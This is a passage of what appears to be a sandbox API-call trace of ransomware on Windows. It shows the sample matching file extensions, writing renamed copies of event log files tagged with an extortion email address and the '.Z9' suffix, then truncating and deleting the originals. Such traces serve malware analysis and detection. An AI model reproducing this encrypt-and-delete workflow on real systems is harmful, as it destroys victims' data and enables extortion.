	[0080.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.676] lstrlenW (lpString=".doc") returned 4
	[0080.676] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString=".docx") returned 5
	[0080.676] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.676] lstrlenW (lpString=".pdf") returned 4
	[0080.676] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString=".xls") returned 4
	[0080.676] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString=".xlsx") returned 5
	[0080.676] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.676] lstrlenW (lpString=".ppt") returned 4
	[0080.676] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.676] lstrlenW (lpString=".zip") returned 4
	[0080.676] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString=".rar") returned 4
	[0080.676] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString=".bz2") returned 4
	[0080.676] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString=".7z") returned 3
	[0080.676] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.676] lstrlenW (lpString=".dbf") returned 4
	[0080.676] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.676] lstrlenW (lpString=".1cd") returned 4
	[0080.676] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.676] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.676] lstrlenW (lpString=".jpg") returned 4
	[0080.676] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.677] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.677] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49
	[0080.677] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.748] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0080.748] CloseHandle (hObject=0x388) returned 1
	[0080.748] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20
	[0080.760] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.760] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.080] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.081] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.081] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.118] GetLastError () returned 0x0
	[0081.118] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.147] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.149] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.149] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x136, lpOverlapped=0x0) returned 1
	[0081.149] SetEndOfFile (hFile=0x35c) returned 1
	[0081.149] CloseHandle (hObject=0x35c) returned 1
	[0081.152] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.152] SetEndOfFile (hFile=0x394) returned 1
	[0081.153] CloseHandle (hObject=0x394) returned 1
	[0081.154] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.155] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1
	[0081.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.155] lstrlenW (lpString=".doc") returned 4
	[0081.155] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString=".docx") returned 5
	[0081.155] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.155] lstrlenW (lpString=".pdf") returned 4
	[0081.155] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString=".xls") returned 4
	[0081.155] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString=".xlsx") returned 5
	[0081.155] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.155] lstrlenW (lpString=".ppt") returned 4
	[0081.155] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.155] lstrlenW (lpString=".zip") returned 4
	[0081.155] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString=".rar") returned 4
	[0081.155] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString=".bz2") returned 4
	[0081.155] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString=".7z") returned 3
	[0081.155] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.155] lstrlenW (lpString=".dbf") returned 4
	[0081.155] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.155] lstrlenW (lpString=".1cd") returned 4
	[0081.156] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.156] lstrlenW (lpString=".jpg") returned 4
	[0081.156] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.156] lstrlenW (lpString=".doc") returned 4
	[0081.156] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString=".docx") returned 5
	[0081.156] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.156] lstrlenW (lpString=".pdf") returned 4
	[0081.156] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString=".xls") returned 4
	[0081.156] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString=".xlsx") returned 5
	[0081.156] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.156] lstrlenW (lpString=".ppt") returned 4
	[0081.156] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.156] lstrlenW (lpString=".zip") returned 4
	[0081.156] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString=".rar") returned 4
	[0081.156] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString=".bz2") returned 4
	[0081.156] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString=".7z") returned 3
	[0081.156] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.156] lstrlenW (lpString=".dbf") returned 4
	[0081.156] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.156] lstrlenW (lpString=".1cd") returned 4
	[0081.156] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0081.156] lstrlenW (lpString=".jpg") returned 4
	[0081.157] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.157] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.157] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56
	[0081.157] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.157] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0081.157] CloseHandle (hObject=0x394) returned 1
	[0081.157] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20
	[0081.157] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.157] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.157] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.157] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.157] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.158] GetLastError () returned 0x0
	[0081.158] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.161] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.162] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.162] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x144, lpOverlapped=0x0) returned 1
	[0081.162] SetEndOfFile (hFile=0x35c) returned 1
	[0081.163] CloseHandle (hObject=0x35c) returned 1
	[0081.165] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.165] SetEndOfFile (hFile=0x394) returned 1
	[0081.166] CloseHandle (hObject=0x394) returned 1
	[0081.166] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.166] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1
	[0081.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.166] lstrlenW (lpString=".doc") returned 4
	[0081.166] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.166] lstrlenW (lpString=".docx") returned 5
	[0081.166] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.166] lstrlenW (lpString=".pdf") returned 4
	[0081.167] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString=".xls") returned 4
	[0081.167] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString=".xlsx") returned 5
	[0081.167] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.167] lstrlenW (lpString=".ppt") returned 4
	[0081.167] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.167] lstrlenW (lpString=".zip") returned 4
	[0081.167] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString=".rar") returned 4
	[0081.167] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString=".bz2") returned 4
	[0081.167] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString=".7z") returned 3
	[0081.167] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.167] lstrlenW (lpString=".dbf") returned 4
	[0081.167] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.167] lstrlenW (lpString=".1cd") returned 4
	[0081.167] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.167] lstrlenW (lpString=".jpg") returned 4
	[0081.167] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.167] lstrlenW (lpString=".doc") returned 4
	[0081.167] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString=".docx") returned 5
	[0081.168] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.168] lstrlenW (lpString=".pdf") returned 4
	[0081.168] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString=".xls") returned 4
	[0081.168] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString=".xlsx") returned 5
	[0081.168] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.168] lstrlenW (lpString=".ppt") returned 4
	[0081.168] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.168] lstrlenW (lpString=".zip") returned 4
	[0081.168] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString=".rar") returned 4
	[0081.168] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString=".bz2") returned 4
	[0081.168] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString=".7z") returned 3
	[0081.168] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.168] lstrlenW (lpString=".dbf") returned 4
	[0081.168] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.168] lstrlenW (lpString=".1cd") returned 4
	[0081.168] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0081.168] lstrlenW (lpString=".jpg") returned 4
	[0081.168] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.168] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.168] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53
	[0081.168] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.169] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0081.169] CloseHandle (hObject=0x394) returned 1
	[0081.169] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20
	[0081.169] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.169] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.169] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.169] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.169] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.174] GetLastError () returned 0x0
	[0081.174] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.177] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.179] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.179] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0081.179] SetEndOfFile (hFile=0x35c) returned 1
	[0081.179] CloseHandle (hObject=0x35c) returned 1
	[0081.181] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.181] SetEndOfFile (hFile=0x394) returned 1
	[0081.183] CloseHandle (hObject=0x394) returned 1
	[0081.183] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.183] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1
	[0081.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.183] lstrlenW (lpString=".doc") returned 4
	[0081.183] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.183] lstrlenW (lpString=".docx") returned 5
	[0081.183] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.183] lstrlenW (lpString=".pdf") returned 4
	[0081.183] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.183] lstrlenW (lpString=".xls") returned 4
	[0081.183] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.183] lstrlenW (lpString=".xlsx") returned 5
	[0081.183] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.183] lstrlenW (lpString=".ppt") returned 4
	[0081.183] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.183] lstrlenW (lpString=".zip") returned 4
	[0081.183] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.183] lstrlenW (lpString=".rar") returned 4
	[0081.184] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString=".bz2") returned 4
	[0081.184] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString=".7z") returned 3
	[0081.184] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.184] lstrlenW (lpString=".dbf") returned 4
	[0081.184] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.184] lstrlenW (lpString=".1cd") returned 4
	[0081.184] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.184] lstrlenW (lpString=".jpg") returned 4
	[0081.184] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0081.184] lstrlenW (lpString=".doc") returned 4
	[0081.184] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString=".docx") returned 5
	[0081.184] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.184] lstrlenW (lpString=".pdf") returned 4
	[0081.184] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString=".xls") returned 4
	[0081.184] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.184] lstrlenW (lpString=".xlsx") returned 5
	[0081.184] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.184] lstrlenW (lpString=".ppt") returned 4
